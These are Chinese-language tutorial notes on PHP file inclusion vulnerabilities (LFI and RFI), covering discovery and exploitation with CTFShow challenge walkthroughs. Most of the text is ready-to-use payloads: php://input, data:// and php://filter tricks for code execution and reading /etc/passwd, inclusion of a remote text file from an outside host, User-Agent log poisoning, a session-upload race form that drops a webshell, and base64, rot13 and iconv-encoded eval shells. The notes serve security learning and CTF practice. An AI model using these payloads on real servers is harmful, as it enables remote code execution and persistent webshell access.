知識點:
1、文件包含-原理&分類&危害-LFI&RFI
2、文件包含-利用-黑白盒&無文件&偽協議
一、演示案例-文件包含-原理&分類&利用
1、原理
程序開發人員通常會把可重復使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無須再次編寫,這種調用文件的過程一般被稱為文件包含。在包含文件的過程中,如果文件能進行控制,則存儲文件包含漏洞。
<?php include "xx.xx";?> 這種是包含指定頁面,不存在文件包含漏洞<?php include $_GET[x];?> 這種通過動態變量的傳參才存在文件包含漏洞
2、分類
本地包含-Local File Include-LFI
(包含的文件都是本地服務器上的,可以包含圖片馬,敏感文件,日志等等)x.php?x=xx.xx
遠程包含-Remote File Include-RFI(較少)
x.php?x=http://xxxxx/x.xx (要保證php.ini中allow_url_fopen和allow_url_include要為On)
3、白盒審計
1、可通過應用功能追蹤代碼定位審計
2、可通過腳本特定函數搜索定位審計
3、可通過偽協議玩法繞過相關修復等
PHP:include、require、include_once、require_once等
include在包含的過程中如果出現錯誤,會拋出一個警告,程序繼續正常運行
require函數出現錯誤的時候,會直接報錯并退出程序的執行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
4、黑盒分析
黑盒發現:主要觀察參數傳遞的數據和文件名是否對應
URL中有path、dir、file、page、archive、eng、語言文件等相關字眼
5、利用
無文件就是指目標沒有上傳點,只能包含服務器已經存在的文件。
思路:
1、配合文件上傳(目標有上傳點,自己上傳一個惡意代碼的文件)
2、無文件包含日志(前提:需要知道當前網站存儲日志的絕對路徑)
3、無文件包含SESSION(前提:需要知道當前網站存儲SESSION文件的絕對路徑)
4、無文件支持偽協議利用
文件讀取
方式一:
file:///etc/passwd
方式二:
php://filter/read=convert.base64-encode/resource=phpinfo.php
文件寫入
方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php //這個需要代碼里接收兩個參數才行
注:131
要改為base64
編碼才行,圖里是錯誤的。
方式二:
php://input
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
代碼執行
方式一:
php://input
POST:<?php phpinfo();?>
方式二:
data://text/plain,<?php phpinfo();?>
方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
遠程利用思路
直接搭建一個可訪問的遠程URL包含文件(不能是腳本文件,其他后綴隨意,可包含一句話getshell
)
二、演示案例-文件包含-利用-黑白盒&無文件&偽協議
黑盒利用-VULWEB
http://testphp.vulnweb.com/showimage.php?file=index.php
白盒利用-CTFSHOW-偽協議玩法
https://ctf.show/challenges //專門的CTF網站,對新手比較友好
78-php&http協議
方式一:
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
方式二:
payload: ?file=php://input
post:<?php system('tac flag.php');?>
方式三:
payload: ?file=http://www.xiaodi8.com/1.txt
遠程1.txt: <?php system('tac flag.php');?> //也可以寫一句話木馬連上去
79-data&http協議
方式一:
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
方式二:
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
方式三:
payload: ?file=http://www.xiaodi8.com/1.txt
1.txt:<?php system('tac flag.php');?>
80 81-日志包含
1、利用其他協議,如file,zlib等
2、利用日志記錄UA特性包含執行
故利用日志記錄UA信息,UA帶入后門代碼或者system代碼
包含:/var/log/nginx/access.log
82-86-SESSION包含
利用PHP_SESSION_UPLOAD_PROGRESS
進行文件包含
session會自動把內容清空,所以要在清空之前利用條件競爭方式觸發session里的代碼,自定義session名字,條件競爭訪問session文件,觸發創建新文件。以下表單就是為了創建session文件
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>
隨便上傳一張圖片抓取這個數據包,在請求頭中添加session
名字并進行無限發包
同樣的,抓取這個路徑請求包進行無限發包,從而觸發session
文件里的php
代碼
然后就會在網站目錄下生成一個shell.php
文件
87-php://filter/write&加密編碼
1、利用base64:
url編碼2次:php://filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
2、利用凱撒13(類似base64的加密方式):
url編碼2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>
88-data&base64協議
過濾PHP
,各種符號,php
代碼編碼寫出無符號base64
值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
117-php://filter/write&新的算法
代理中并沒有過濾php
生成腳本
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "經過一次反轉:".$result."\n";
echo "經過第二次反轉:".iconv("UCS-2LE","UCS-2BE", $result);
?>
與凱撒13加密差不多,只不過換了另外一種方式
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?